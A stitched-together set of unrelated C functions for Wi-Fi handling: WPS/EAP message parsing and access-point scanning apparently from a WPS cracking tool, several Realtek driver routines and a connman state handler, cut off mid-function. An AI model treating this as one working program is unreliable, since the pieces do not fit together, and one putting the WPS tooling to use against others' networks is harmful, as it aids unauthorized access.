if(llc->type == DOT1X_AUTHENTICATION) { dot1x = (struct dot1X_header *) (packet + rt_header->len + sizeof(struct dot11_frame_header) + sizeof(struct llc_header) ); /* All packets in our exchanges will be EAP packets */ if(dot1x->type == DOT1X_EAP_PACKET && (header->len >= EAP_PACKET_SIZE)) { eap = (struct eap_header *) (packet + rt_header->len + sizeof(struct dot11_frame_header) + sizeof(struct llc_header) + sizeof(struct dot1X_header) ); /* EAP session termination. Break and move on. */ if(eap->code == EAP_FAILURE) { cprintf(VERBOSE, "[!] EAP_FAILURE: TERMINATE\n"); type = TERMINATE; } /* If we've received an EAP request and then this should be a WPS message */ else if(eap->code == EAP_REQUEST) { /* The EAP header builder needs this ID value */ set_eap_id(eap->id); /* Stop the receive timer that was started by the last send_packet() */ stop_timer(); /* Check to see if we received an EAP identity request */ if(eap->type == EAP_IDENTITY) { /* We've initiated an EAP session, so reset the counter */ set_eapol_start_count(0); type = IDENTITY_REQUEST; } /* An expanded EAP type indicates a probable WPS message */ else if((eap->type == EAP_EXPANDED) && (header->len > WFA_PACKET_SIZE)) { wfa = (struct wfa_expanded_header *) (packet + rt_header->len + sizeof(struct dot11_frame_header) + sizeof(struct llc_header) + sizeof(struct dot1X_header) + sizeof(struct eap_header) ); /* Verify that this is a WPS message */ if(wfa->type == SIMPLE_CONFIG) { wps_msg_len = (size_t) ntohs(eap->len) - sizeof(struct eap_header) - sizeof(struct wfa_expanded_header); wps_msg = (const void *) (packet + rt_header->len + sizeof(struct dot11_frame_header) + sizeof(struct llc_header) + sizeof(struct dot1X_header) + sizeof(struct eap_header) + sizeof(struct wfa_expanded_header) ); /* Save the current WPS state. This way if we get a NACK message, we can * determine what state we were in when the NACK arrived. */ wps = get_wps(); set_last_wps_state(wps->state); set_opcode(wfa->opcode); /* Process the WPS message and send a response */ type = process_wps_message(wps_msg, wps_msg_len); } } } } } } } return type; }
void update_recvframe_phyinfo(struct recv_frame *precvframe, struct phy_stat *pphy_status) { struct rtw_adapter *padapter = precvframe->adapter; struct rx_pkt_attrib *pattrib = &precvframe->attrib; struct hal_data_8723a *pHalData = GET_HAL_DATA(padapter); struct phy_info *pPHYInfo = &pattrib->phy_info; struct odm_packet_info pkt_info; u8 *sa = NULL, *da; struct sta_priv *pstapriv; struct sta_info *psta; struct sk_buff *skb = precvframe->pkt; struct ieee80211_hdr *hdr = (struct ieee80211_hdr *) skb->data; bool matchbssid = false; u8 *bssid; matchbssid = (!ieee80211_is_ctl(hdr->frame_control) && !pattrib->icv_err && !pattrib->crc_err); if (matchbssid) { switch (hdr->frame_control & cpu_to_le16(IEEE80211_FCTL_TODS | IEEE80211_FCTL_FROMDS)) { case cpu_to_le16(IEEE80211_FCTL_TODS): bssid = hdr->addr1; break; case cpu_to_le16(IEEE80211_FCTL_FROMDS): bssid = hdr->addr2; break; case cpu_to_le16(0): bssid = hdr->addr3; break; default: bssid = NULL; matchbssid = false; } if (bssid) matchbssid = ether_addr_equal( get_bssid(&padapter->mlmepriv), bssid); } pkt_info.bPacketMatchBSSID = matchbssid; da = ieee80211_get_DA(hdr); pkt_info.bPacketToSelf = pkt_info.bPacketMatchBSSID && (!memcmp(da, myid(&padapter->eeprompriv), ETH_ALEN)); pkt_info.bPacketBeacon = pkt_info.bPacketMatchBSSID && ieee80211_is_beacon(hdr->frame_control); pkt_info.StationID = 0xFF; if (pkt_info.bPacketBeacon) { if (check_fwstate(&padapter->mlmepriv, WIFI_STATION_STATE) == true) sa = padapter->mlmepriv.cur_network.network.MacAddress; /* to do Ad-hoc */ } else { sa = ieee80211_get_SA(hdr); } pstapriv = &padapter->stapriv; psta = rtw_get_stainfo23a(pstapriv, sa); if (psta) { pkt_info.StationID = psta->mac_id; /* printk("%s ==> StationID(%d)\n", __func__, pkt_info.StationID); */ } pkt_info.Rate = pattrib->mcs_rate; ODM_PhyStatusQuery23a(&pHalData->odmpriv, pPHYInfo, (u8 *)pphy_status, &pkt_info); precvframe->psta = NULL; if (pkt_info.bPacketMatchBSSID && (check_fwstate(&padapter->mlmepriv, WIFI_AP_STATE) == true)) { if (psta) { precvframe->psta = psta; rtl8723a_process_phy_info(padapter, precvframe); } } else if (pkt_info.bPacketToSelf || pkt_info.bPacketBeacon) { if (check_fwstate(&padapter->mlmepriv, WIFI_ADHOC_STATE|WIFI_ADHOC_MASTER_STATE) == true) { if (psta) precvframe->psta = psta; } rtl8723a_process_phy_info(padapter, precvframe); } }
void parse_wps_settings(const u_char *packet, struct pcap_pkthdr *header, char *target, int passive, int mode, int source) { struct radio_tap_header *rt_header = NULL; struct dot11_frame_header *frame_header = NULL; struct libwps_data *wps = NULL; enum encryption_type encryption = NONE; char *bssid = NULL, *ssid = NULL; const char *lock_display = NULL; int wps_parsed = 0, probe_sent = 0, channel = 0, rssi = 0; static int channel_changed = 0; wps = malloc(sizeof(struct libwps_data)); memset(wps, 0, sizeof(struct libwps_data)); if(packet == NULL || header == NULL || header->len < MIN_BEACON_SIZE) { goto end; } rt_header = (struct radio_tap_header *) radio_header(packet, header->len); frame_header = (struct dot11_frame_header *) (packet + rt_header->len); /* If a specific BSSID was specified, only parse packets from that BSSID */ if(!is_target(frame_header)) { goto end; } set_ssid(NULL); bssid = (char *) mac2str(frame_header->addr3, ':'); set_bssid((unsigned char *) frame_header->addr3); if(bssid) { if((target == NULL) || (target != NULL && strcmp(bssid, target) == 0)) { channel = parse_beacon_tags(packet, header->len); rssi = signal_strength(packet, header->len); ssid = (char *) get_ssid(); if(target != NULL && channel_changed == 0) { ualarm(0, 0); change_channel(channel); channel_changed = 1; } if(frame_header->fc.sub_type == PROBE_RESPONSE || frame_header->fc.sub_type == SUBTYPE_BEACON) { wps_parsed = parse_wps_parameters(packet, header->len, wps); } if(!is_done(bssid) && (get_channel() == channel || source == PCAP_FILE)) { if(frame_header->fc.sub_type == SUBTYPE_BEACON && mode == SCAN && !passive && should_probe(bssid)) { send_probe_request(get_bssid(), get_ssid()); probe_sent = 1; } if(!insert(bssid, ssid, wps, encryption, rssi)) { update(bssid, ssid, wps, encryption); } else if(wps->version > 0) { switch(wps->locked) { case WPSLOCKED: lock_display = YES; break; case UNLOCKED: case UNSPECIFIED: lock_display = NO; break; } cprintf(INFO, "%17s %2d %.2d %d.%d %s %s\n", bssid, channel, rssi, (wps->version >> 4), (wps->version & 0x0F), lock_display, ssid); } if(probe_sent) { update_probe_count(bssid); } /* * If there was no WPS information, then the AP does not support WPS and we should ignore it from here on. * If this was a probe response, then we've gotten all WPS info we can get from this AP and should ignore it from here on. */ if(!wps_parsed || frame_header->fc.sub_type == PROBE_RESPONSE) { mark_ap_complete(bssid); } } } /* Only update received signal strength if we are on the same channel as the AP, otherwise power measurements are screwy */ if(channel == get_channel()) { update_ap_power(bssid, rssi); } free(bssid); bssid = NULL; }
uint8_t rtw_set_802_11_add_key(struct rtl_priv* rtlpriv, NDIS_802_11_KEY *key){ uint encryptionalgo; uint8_t * pbssid; struct sta_info *stainfo; uint8_t bgroup = _FALSE; uint8_t bgrouptkey = _FALSE;//can be remove later uint8_t ret=_SUCCESS; if (((key->KeyIndex & 0x80000000) == 0) && ((key->KeyIndex & 0x40000000) > 0)){ // It is invalid to clear bit 31 and set bit 30. If the miniport driver encounters this combination, // it must fail the request and return NDIS_STATUS_INVALID_DATA. ret= _FAIL; goto exit; } if(key->KeyIndex & 0x40000000) { // Pairwise key pbssid=get_bssid(&rtlpriv->mlmepriv); stainfo=rtw_get_stainfo(&rtlpriv->stapriv, pbssid); if((stainfo!=NULL)&&(rtlpriv->securitypriv.dot11AuthAlgrthm==dot11AuthAlgrthm_8021X)){ encryptionalgo=stainfo->dot118021XPrivacy; } else{ encryptionalgo=rtlpriv->securitypriv.dot11PrivacyAlgrthm; } if((stainfo!=NULL)){ ; } if(key->KeyIndex & 0x000000FF){ // The key index is specified in the lower 8 bits by values of zero to 255. // The key index should be set to zero for a Pairwise key, and the driver should fail with // NDIS_STATUS_INVALID_DATA if the lower 8 bits is not zero ret= _FAIL; goto exit; } // check BSSID if (IS_MAC_ADDRESS_BROADCAST(key->BSSID) == _TRUE){ ret= _FALSE; goto exit; } // Check key length for TKIP. //if(encryptionAlgorithm == RT_ENC_TKIP_ENCRYPTION && key->KeyLength != 32) if((encryptionalgo== _TKIP_)&& (key->KeyLength != 32)){ ret=_FAIL; goto exit; } // Check key length for AES. if((encryptionalgo== _AES_)&& (key->KeyLength != 16)) { // For our supplicant, EAPPkt9x.vxd, cannot differentiate TKIP and AES case. if(key->KeyLength == 32) { key->KeyLength = 16; } else { ret= _FAIL; goto exit; } } // Check key length for WEP. For NDTEST, 2005.01.27, by rcnjko. if( (encryptionalgo== _WEP40_|| encryptionalgo== _WEP104_) && (key->KeyLength != 5 || key->KeyLength != 13)) { ret=_FAIL; goto exit; } bgroup = _FALSE; } else { // when add wep key through add key and didn't assigned encryption type before if((rtlpriv->securitypriv.ndisauthtype<=3)&&(rtlpriv->securitypriv.dot118021XGrpPrivacy==0)) { switch(key->KeyLength) { case 5: rtlpriv->securitypriv.dot11PrivacyAlgrthm=_WEP40_; break; case 13: rtlpriv->securitypriv.dot11PrivacyAlgrthm=_WEP104_; break; default: rtlpriv->securitypriv.dot11PrivacyAlgrthm=_NO_PRIVACY_; break; } encryptionalgo=rtlpriv->securitypriv.dot11PrivacyAlgrthm; } else { encryptionalgo=rtlpriv->securitypriv.dot118021XGrpPrivacy; } if((check_fwstate(&rtlpriv->mlmepriv, WIFI_ADHOC_STATE)==_TRUE) && (IS_MAC_ADDRESS_BROADCAST(key->BSSID) == _FALSE)) { ret= _FAIL; goto exit; } // Check key length for TKIP if((encryptionalgo== _TKIP_) && (key->KeyLength != 32)) { ret= _FAIL; goto exit; } else if(encryptionalgo== _AES_ && (key->KeyLength != 16 && key->KeyLength != 32) ) { // Check key length for AES // For NDTEST, we allow keylen=32 in this case. 2005.01.27, by rcnjko. ret= _FAIL; goto exit; } // Change the key length for EAPPkt9x.vxd. Added by Annie, 2005-11-03. if((encryptionalgo== _AES_) && (key->KeyLength == 32) ) { key->KeyLength = 16; } if(key->KeyIndex & 0x8000000) {//error ??? 0x8000_0000 bgrouptkey = _TRUE; } if((check_fwstate(&rtlpriv->mlmepriv, WIFI_ADHOC_STATE)==_TRUE)&&(check_fwstate(&rtlpriv->mlmepriv, _FW_LINKED)==_TRUE)) { bgrouptkey = _TRUE; } bgroup = _TRUE; } // If WEP encryption algorithm, just call rtw_set_802_11_add_wep(). if((rtlpriv->securitypriv.dot11AuthAlgrthm !=dot11AuthAlgrthm_8021X)&&(encryptionalgo== _WEP40_ || encryptionalgo== _WEP104_)) { uint8_t ret; uint32_t keyindex; uint32_t len = FIELD_OFFSET(NDIS_802_11_KEY, KeyMaterial) + key->KeyLength; NDIS_802_11_WEP *wep = &rtlpriv->securitypriv.ndiswep; wep->Length = len; keyindex = key->KeyIndex&0x7fffffff; wep->KeyIndex = keyindex ; wep->KeyLength = key->KeyLength; memcpy(wep->KeyMaterial, key->KeyMaterial, key->KeyLength); memcpy(&(rtlpriv->securitypriv.dot11DefKey[keyindex].skey[0]), key->KeyMaterial, key->KeyLength); rtlpriv->securitypriv.dot11DefKeylen[keyindex]=key->KeyLength; rtlpriv->securitypriv.dot11PrivacyKeyIndex=keyindex; ret = rtw_set_802_11_add_wep(rtlpriv, wep); goto exit; } if(key->KeyIndex & 0x20000000){ // SetRSC if(bgroup == _TRUE) { NDIS_802_11_KEY_RSC keysrc=key->KeyRSC & 0x00FFFFFFFFFFFFULL; memcpy(&rtlpriv->securitypriv.dot11Grprxpn, &keysrc, 8); } else { NDIS_802_11_KEY_RSC keysrc=key->KeyRSC & 0x00FFFFFFFFFFFFULL; memcpy(&rtlpriv->securitypriv.dot11Grptxpn, &keysrc, 8); } } // Indicate this key idx is used for TX // Save the key in KeyMaterial if(bgroup == _TRUE) // Group transmit key { int res; if(bgrouptkey == _TRUE) { rtlpriv->securitypriv.dot118021XGrpKeyid=(uint8_t)key->KeyIndex; } if((key->KeyIndex&0x3) == 0){ ret = _FAIL; goto exit; } memset(&rtlpriv->securitypriv.dot118021XGrpKey[(uint8_t)((key->KeyIndex) & 0x03)], 0, 16); memset(&rtlpriv->securitypriv.dot118021XGrptxmickey[(uint8_t)((key->KeyIndex) & 0x03)], 0, 16); memset(&rtlpriv->securitypriv.dot118021XGrprxmickey[(uint8_t)((key->KeyIndex) & 0x03)], 0, 16); if((key->KeyIndex & 0x10000000)) { memcpy(&rtlpriv->securitypriv.dot118021XGrptxmickey[(uint8_t)((key->KeyIndex) & 0x03)], key->KeyMaterial + 16, 8); memcpy(&rtlpriv->securitypriv.dot118021XGrprxmickey[(uint8_t)((key->KeyIndex) & 0x03)], key->KeyMaterial + 24, 8); } else { memcpy(&rtlpriv->securitypriv.dot118021XGrptxmickey[(uint8_t)((key->KeyIndex) & 0x03)], key->KeyMaterial + 24, 8); memcpy(&rtlpriv->securitypriv.dot118021XGrprxmickey[(uint8_t)((key->KeyIndex) & 0x03)], key->KeyMaterial + 16, 8); } //set group key by index memcpy(&rtlpriv->securitypriv.dot118021XGrpKey[(uint8_t)((key->KeyIndex) & 0x03)], key->KeyMaterial, key->KeyLength); key->KeyIndex=key->KeyIndex & 0x03; rtlpriv->securitypriv.binstallGrpkey=_TRUE; rtlpriv->securitypriv.bcheck_grpkey=_FALSE; res=rtw_set_key(rtlpriv,&rtlpriv->securitypriv, key->KeyIndex, 1); if(res==_FAIL) ret= _FAIL; goto exit; } else // Pairwise Key { uint8_t res; pbssid=get_bssid(&rtlpriv->mlmepriv); stainfo=rtw_get_stainfo(&rtlpriv->stapriv , pbssid ); if(stainfo!=NULL) { memset( &stainfo->dot118021x_UncstKey, 0, 16);// clear keybuffer memcpy(&stainfo->dot118021x_UncstKey, key->KeyMaterial, 16); if(encryptionalgo== _TKIP_) { rtlpriv->securitypriv.busetkipkey=_FALSE; //_set_timer(&rtlpriv->securitypriv.tkip_timer, 50); // if TKIP, save the Receive/Transmit MIC key in KeyMaterial[128-255] if((key->KeyIndex & 0x10000000)){ memcpy(&stainfo->dot11tkiptxmickey, key->KeyMaterial + 16, 8); memcpy(&stainfo->dot11tkiprxmickey, key->KeyMaterial + 24, 8); } else { memcpy(&stainfo->dot11tkiptxmickey, key->KeyMaterial + 24, 8); memcpy(&stainfo->dot11tkiprxmickey, key->KeyMaterial + 16, 8); } } else if(encryptionalgo == _AES_) { } //Set key to CAM through H2C command if(bgrouptkey)//never go to here { res=rtw_setstakey_cmd(rtlpriv, (unsigned char *)stainfo, _FALSE); } else{ res=rtw_setstakey_cmd(rtlpriv, (unsigned char *)stainfo, _TRUE); } if(res ==_FALSE) ret= _FAIL; } } exit: return ret; }
/* * Notice: * Before calling this function, * precvframe->u.hdr.rx_data should be ready! */ void update_recvframe_phyinfo( union recv_frame *precvframe, struct phy_stat *pphy_status) { PADAPTER padapter= precvframe->u.hdr.adapter; struct rx_pkt_attrib *pattrib = &precvframe->u.hdr.attrib; HAL_DATA_TYPE *pHalData = GET_HAL_DATA(padapter); PODM_PHY_INFO_T pPHYInfo = (PODM_PHY_INFO_T)(&pattrib->phy_info); u8 *wlanhdr; ODM_PACKET_INFO_T pkt_info; u8 *sa; //_irqL irqL; struct sta_priv *pstapriv; struct sta_info *psta; pkt_info.bPacketMatchBSSID =_FALSE; pkt_info.bPacketToSelf = _FALSE; pkt_info.bPacketBeacon = _FALSE; wlanhdr = get_recvframe_data(precvframe); pkt_info.bPacketMatchBSSID = ((!IsFrameTypeCtrl(wlanhdr)) && !pattrib->icv_err && !pattrib->crc_err && _rtw_memcmp(get_hdr_bssid(wlanhdr), get_bssid(&padapter->mlmepriv), ETH_ALEN)); pkt_info.bPacketToSelf = pkt_info.bPacketMatchBSSID && (_rtw_memcmp(get_da(wlanhdr), myid(&padapter->eeprompriv), ETH_ALEN)); pkt_info.bPacketBeacon = pkt_info.bPacketMatchBSSID && (GetFrameSubType(wlanhdr) == WIFI_BEACON); if(pkt_info.bPacketBeacon){ if(check_fwstate(&padapter->mlmepriv, WIFI_STATION_STATE) == _TRUE){ sa = padapter->mlmepriv.cur_network.network.MacAddress; #if 0 { printk("==> rx beacon from AP[%02x:%02x:%02x:%02x:%02x:%02x]\n", sa[0],sa[1],sa[2],sa[3],sa[4],sa[5]); } #endif } //to do Ad-hoc } else{ sa = get_sa(wlanhdr); } pkt_info.StationID = 0xFF; pstapriv = &padapter->stapriv; psta = rtw_get_stainfo(pstapriv, sa); if (psta) { pkt_info.StationID = psta->mac_id; //printk("%s ==> StationID(%d)\n",__FUNCTION__,pkt_info.StationID); } pkt_info.Rate = pattrib->mcs_rate; #ifdef CONFIG_CONCURRENT_MODE //get Primary adapter's odmpriv if(padapter->adapter_type > PRIMARY_ADAPTER){ pHalData = GET_HAL_DATA(padapter->pbuddy_adapter); } #endif //rtl8192c_query_rx_phy_status(precvframe, pphy_status); //_enter_critical_bh(&pHalData->odm_stainfo_lock, &irqL); ODM_PhyStatusQuery(&pHalData->odmpriv,pPHYInfo,(u8 *)pphy_status,&(pkt_info)); //_exit_critical_bh(&pHalData->odm_stainfo_lock, &irqL); precvframe->u.hdr.psta = NULL; if (pkt_info.bPacketMatchBSSID && (check_fwstate(&padapter->mlmepriv, WIFI_AP_STATE) == _TRUE)) { if (psta) { precvframe->u.hdr.psta = psta; rtl8192c_process_phy_info(padapter, precvframe); } } else if (pkt_info.bPacketToSelf || pkt_info.bPacketBeacon) { if (check_fwstate(&padapter->mlmepriv, WIFI_ADHOC_STATE|WIFI_ADHOC_MASTER_STATE) == _TRUE) { if (psta) { precvframe->u.hdr.psta = psta; } } rtl8192c_process_phy_info(padapter, precvframe); } }
static void state_change(struct supplicant_task *task, DBusMessage *msg) { DBusError error; const char *newstate, *oldstate; unsigned char bssid[ETH_ALEN]; unsigned int bssid_len; enum supplicant_state state, ostate; dbus_error_init(&error); if (dbus_message_get_args(msg, &error, DBUS_TYPE_STRING, &newstate, DBUS_TYPE_STRING, &oldstate, DBUS_TYPE_INVALID) == FALSE) { if (dbus_error_is_set(&error) == TRUE) { connman_error("%s", error.message); dbus_error_free(&error); } else connman_error("Wrong arguments for state change"); return; } connman_info("%s state change %s -> %s%s", task->ifname, oldstate, newstate, task->scanning == TRUE ? " (scanning)" : ""); state = string2state(newstate); if (state == WPA_INVALID) return; if (task->scanning == TRUE && state != WPA_SCANNING) { connman_device_set_scanning(task->device, FALSE); task->scanning = FALSE; } ostate = task->state; task->state = state; if (task->network == NULL) return; switch (task->state) { case WPA_COMPLETED: if (ostate != WPA_ASSOCIATED && ostate != WPA_GROUP_HANDSHAKE) goto badstate; /* reset bg scan reschedule */ connman_device_reset_scan(task->device); if (get_bssid(task->device, bssid, &bssid_len) == 0) connman_network_set_address(task->network, bssid, bssid_len); /* carrier on */ connman_network_set_connected(task->network, TRUE); break; case WPA_ASSOCIATING: if (ostate != WPA_SCANNING && ostate != WPA_COMPLETED) goto badstate; if (ostate == WPA_SCANNING) connman_network_set_associating(task->network, TRUE); break; case WPA_INACTIVE: if (ostate != WPA_SCANNING && ostate != WPA_DISCONNECTED) goto badstate; /* fall thru... */ case WPA_DISCONNECTED: /* carrier off */ connman_network_set_connected(task->network, FALSE); if (task->disconnecting == TRUE) { connman_network_unref(task->network); task->disconnecting = FALSE; if (task->pending_network != NULL) { task->network = task->pending_network; task->pending_network = NULL; task_connect(task); } else task->network = NULL; } break; default: connman_network_set_associating(task->network, FALSE); break; } return; badstate: connman_error("%s invalid state change %s -> %s%s", task->ifname, oldstate, newstate, task->scanning == TRUE ? " (scanning)" : ""); }
u8 rtw_set_802_11_add_key(struct rtw_adapter *padapter, struct ndis_802_11_key *key) { uint encryptionalgo; u8 *pbssid; struct sta_info *stainfo; u8 bgroup = false; u8 bgrouptkey = false;/* can be remove later */ u8 ret = _SUCCESS; _func_enter_; if (((key->KeyIndex & 0x80000000) == 0) && ((key->KeyIndex & 0x40000000) > 0)) { /* It is invalid to clear bit 31 and set bit 30. If the miniport driver encounters this combination, */ /* it must fail the request and return NDIS_STATUS_INVALID_DATA. */ RT_TRACE(_module_rtl871x_ioctl_set_c_, _drv_info_, ("rtw_set_802_11_add_key: ((key->KeyIndex & 0x80000000) == 0)[=%d] ", (int)(key->KeyIndex & 0x80000000) == 0)); RT_TRACE(_module_rtl871x_ioctl_set_c_, _drv_info_, ("rtw_set_802_11_add_key:((key->KeyIndex & 0x40000000) > 0)[=%d]", (int)(key->KeyIndex & 0x40000000) > 0)); RT_TRACE(_module_rtl871x_ioctl_set_c_, _drv_info_, ("rtw_set_802_11_add_key: key->KeyIndex =%d\n", (int)key->KeyIndex)); ret = _FAIL; goto exit; } if (key->KeyIndex & 0x40000000) { /* Pairwise key */ RT_TRACE(_module_rtl871x_ioctl_set_c_, _drv_err_, ("OID_802_11_ADD_KEY: +++++ Pairwise key +++++\n")); pbssid = get_bssid(&padapter->mlmepriv); stainfo = rtw_get_stainfo(&padapter->stapriv, pbssid); if ((stainfo != NULL) && (padapter->securitypriv.dot11AuthAlgrthm == dot11AuthAlgrthm_8021X)) { RT_TRACE(_module_rtl871x_ioctl_set_c_, _drv_err_, ("OID_802_11_ADD_KEY:(stainfo != NULL) && (Adapter->securitypriv.dot11AuthAlgrthm == dot11AuthAlgrthm_8021X)\n")); encryptionalgo = stainfo->dot118021XPrivacy; } else { RT_TRACE(_module_rtl871x_ioctl_set_c_, _drv_err_, ("OID_802_11_ADD_KEY: stainfo == NULL)||(Adapter->securitypriv.dot11AuthAlgrthm!= dot11AuthAlgrthm_8021X)\n")); encryptionalgo = padapter->securitypriv.dot11PrivacyAlgrthm; } RT_TRACE(_module_rtl871x_ioctl_set_c_, _drv_err_, ("rtw_set_802_11_add_key: (encryptionalgo ==%d)!\n", encryptionalgo)); RT_TRACE(_module_rtl871x_ioctl_set_c_, _drv_err_, ("rtw_set_802_11_add_key: (Adapter->securitypriv.dot11PrivacyAlgrthm ==%d)!\n", padapter->securitypriv.dot11PrivacyAlgrthm)); RT_TRACE(_module_rtl871x_ioctl_set_c_, _drv_err_, ("rtw_set_802_11_add_key: (Adapter->securitypriv.dot11AuthAlgrthm ==%d)!\n", padapter->securitypriv.dot11AuthAlgrthm)); if ((stainfo != NULL)) RT_TRACE(_module_rtl871x_ioctl_set_c_, _drv_err_, ("rtw_set_802_11_add_key: (stainfo->dot118021XPrivacy ==%d)!\n", stainfo->dot118021XPrivacy)); if (key->KeyIndex & 0x000000FF) { /* The key index is specified in the lower 8 bits by values of zero to 255. */ /* The key index should be set to zero for a Pairwise key, and the driver should fail with */ /* NDIS_STATUS_INVALID_DATA if the lower 8 bits is not zero */ RT_TRACE(_module_rtl871x_ioctl_set_c_, _drv_err_, (" key->KeyIndex & 0x000000FF.\n")); ret = _FAIL; goto exit; } /* check BSSID */ if (IS_MAC_ADDRESS_BROADCAST(key->BSSID) == true) { RT_TRACE(_module_rtl871x_ioctl_set_c_, _drv_err_, ("MacAddr_isBcst(key->BSSID)\n")); ret = false; goto exit; } /* Check key length for TKIP. */ /* if (encryptionAlgorithm == RT_ENC_TKIP_ENCRYPTION && key->KeyLength != 32) */ if ((encryptionalgo == _TKIP_) && (key->KeyLength != 32)) { RT_TRACE(_module_rtl871x_ioctl_set_c_, _drv_err_, ("TKIP KeyLength:0x%x != 32\n", key->KeyLength)); ret = _FAIL; goto exit; } /* Check key length for AES. */ if ((encryptionalgo == _AES_) && (key->KeyLength != 16)) { /* For our supplicant, EAPPkt9x.vxd, cannot differentiate TKIP and AES case. */ if (key->KeyLength == 32) { key->KeyLength = 16; } else { ret = _FAIL; goto exit; } } /* Check key length for WEP. For NDTEST, 2005.01.27, by rcnjko. */ if ((encryptionalgo == _WEP40_ || encryptionalgo == _WEP104_) && (key->KeyLength != 5 || key->KeyLength != 13)) { RT_TRACE(_module_rtl871x_ioctl_set_c_, _drv_err_, ("WEP KeyLength:0x%x != 5 or 13\n", key->KeyLength)); ret = _FAIL; goto exit; } bgroup = false; /* Check the pairwise key. Added by Annie, 2005-07-06. */ RT_TRACE(_module_rtl871x_ioctl_set_c_, _drv_err_, ("------------------------------------------\n")); RT_TRACE(_module_rtl871x_ioctl_set_c_, _drv_err_, ("[Pairwise Key set]\n")); RT_TRACE(_module_rtl871x_ioctl_set_c_, _drv_err_, ("------------------------------------------\n")); RT_TRACE(_module_rtl871x_ioctl_set_c_, _drv_err_, ("key index: 0x%8x(0x%8x)\n", key->KeyIndex, (key->KeyIndex&0x3))); RT_TRACE(_module_rtl871x_ioctl_set_c_, _drv_err_, ("key Length: %d\n", key->KeyLength)); RT_TRACE(_module_rtl871x_ioctl_set_c_, _drv_err_, ("------------------------------------------\n")); } else { /* Group key - KeyIndex(BIT30== 0) */ RT_TRACE(_module_rtl871x_ioctl_set_c_, _drv_err_, ("OID_802_11_ADD_KEY: +++++ Group key +++++\n")); /* when add wep key through add key and didn't assigned encryption type before */ if ((padapter->securitypriv.ndisauthtype <= 3) && (padapter->securitypriv.dot118021XGrpPrivacy == 0)) { RT_TRACE(_module_rtl871x_ioctl_set_c_, _drv_err_, ("keylen=%d(Adapter->securitypriv.dot11PrivacyAlgrthm =%x )padapter->securitypriv.dot118021XGrpPrivacy(%x)\n", key->KeyLength, padapter->securitypriv.dot11PrivacyAlgrthm, padapter->securitypriv.dot118021XGrpPrivacy)); switch (key->KeyLength) { case 5: padapter->securitypriv.dot11PrivacyAlgrthm = _WEP40_; RT_TRACE(_module_rtl871x_ioctl_set_c_, _drv_err_, ("Adapter->securitypriv.dot11PrivacyAlgrthm = %x key->KeyLength=%u\n", padapter->securitypriv.dot11PrivacyAlgrthm, key->KeyLength)); break; case 13: padapter->securitypriv.dot11PrivacyAlgrthm = _WEP104_; RT_TRACE(_module_rtl871x_ioctl_set_c_, _drv_err_, ("Adapter->securitypriv.dot11PrivacyAlgrthm = %x key->KeyLength=%u\n", padapter->securitypriv.dot11PrivacyAlgrthm, key->KeyLength)); break; default: padapter->securitypriv.dot11PrivacyAlgrthm = _NO_PRIVACY_; RT_TRACE(_module_rtl871x_ioctl_set_c_, _drv_err_, ("Adapter->securitypriv.dot11PrivacyAlgrthm = %x key->KeyLength=%u\n", padapter->securitypriv.dot11PrivacyAlgrthm, key->KeyLength)); break; } encryptionalgo = padapter->securitypriv.dot11PrivacyAlgrthm; RT_TRACE(_module_rtl871x_ioctl_set_c_, _drv_err_, (" Adapter->securitypriv.dot11PrivacyAlgrthm =%x\n", padapter->securitypriv.dot11PrivacyAlgrthm)); } else { encryptionalgo = padapter->securitypriv.dot118021XGrpPrivacy; RT_TRACE(_module_rtl871x_ioctl_set_c_, _drv_err_, ("(Adapter->securitypriv.dot11PrivacyAlgrthm =%x )encryptionalgo(%x) = padapter->securitypriv.dot118021XGrpPrivacy(%x)keylen=%d\n", padapter->securitypriv.dot11PrivacyAlgrthm, encryptionalgo, padapter->securitypriv.dot118021XGrpPrivacy, key->KeyLength)); } if ((check_fwstate(&padapter->mlmepriv, WIFI_ADHOC_STATE) == true) && (IS_MAC_ADDRESS_BROADCAST(key->BSSID) == false)) { RT_TRACE(_module_rtl871x_ioctl_set_c_, _drv_err_, (" IBSS but BSSID is not Broadcast Address.\n")); ret = _FAIL; goto exit; } /* Check key length for TKIP */ if ((encryptionalgo == _TKIP_) && (key->KeyLength != 32)) { RT_TRACE(_module_rtl871x_ioctl_set_c_, _drv_err_, (" TKIP GTK KeyLength:%u != 32\n", key->KeyLength)); ret = _FAIL; goto exit; } else if (encryptionalgo == _AES_ && (key->KeyLength != 16 && key->KeyLength != 32)) { /* Check key length for AES */ /* For NDTEST, we allow keylen= 32 in this case. 2005.01.27, by rcnjko. */ RT_TRACE(_module_rtl871x_ioctl_set_c_, _drv_err_, ("<=== SetInfo, OID_802_11_ADD_KEY: AES GTK KeyLength:%u != 16 or 32\n", key->KeyLength)); ret = _FAIL; goto exit; } /* Change the key length for EAPPkt9x.vxd. Added by Annie, 2005-11-03. */ if ((encryptionalgo == _AES_) && (key->KeyLength == 32)) { key->KeyLength = 16; RT_TRACE(_module_rtl871x_ioctl_set_c_, _drv_err_, ("AES key length changed: %u\n", key->KeyLength)); } if (key->KeyIndex & 0x8000000) /* error ??? 0x8000_0000 */ bgrouptkey = true; if ((check_fwstate(&padapter->mlmepriv, WIFI_ADHOC_STATE) == true) && (check_fwstate(&padapter->mlmepriv, _FW_LINKED) == true)) bgrouptkey = true; bgroup = true; RT_TRACE(_module_rtl871x_ioctl_set_c_, _drv_err_, ("------------------------------------------\n")); RT_TRACE(_module_rtl871x_ioctl_set_c_, _drv_err_, ("[Group Key set]\n")); RT_TRACE(_module_rtl871x_ioctl_set_c_, _drv_err_, ("------------------------------------------\n")); RT_TRACE(_module_rtl871x_ioctl_set_c_, _drv_err_, ("key index: 0x%8x(0x%8x)\n", key->KeyIndex, (key->KeyIndex&0x3))); RT_TRACE(_module_rtl871x_ioctl_set_c_, _drv_err_, ("key Length: %d\n", key->KeyLength)); RT_TRACE(_module_rtl871x_ioctl_set_c_, _drv_err_, ("------------------------------------------\n")); } /* If WEP encryption algorithm, just call rtw_set_802_11_add_wep(). */ if ((padapter->securitypriv.dot11AuthAlgrthm != dot11AuthAlgrthm_8021X) && (encryptionalgo == _WEP40_ || encryptionalgo == _WEP104_)) { u32 keyindex; u32 len = FIELD_OFFSET(struct ndis_802_11_key, KeyMaterial) + key->KeyLength; struct ndis_802_11_wep *wep = &padapter->securitypriv.ndiswep; RT_TRACE(_module_rtl871x_ioctl_set_c_, _drv_err_, ("OID_802_11_ADD_KEY: +++++ WEP key +++++\n")); wep->Length = len; keyindex = key->KeyIndex&0x7fffffff; wep->KeyIndex = keyindex; wep->KeyLength = key->KeyLength; 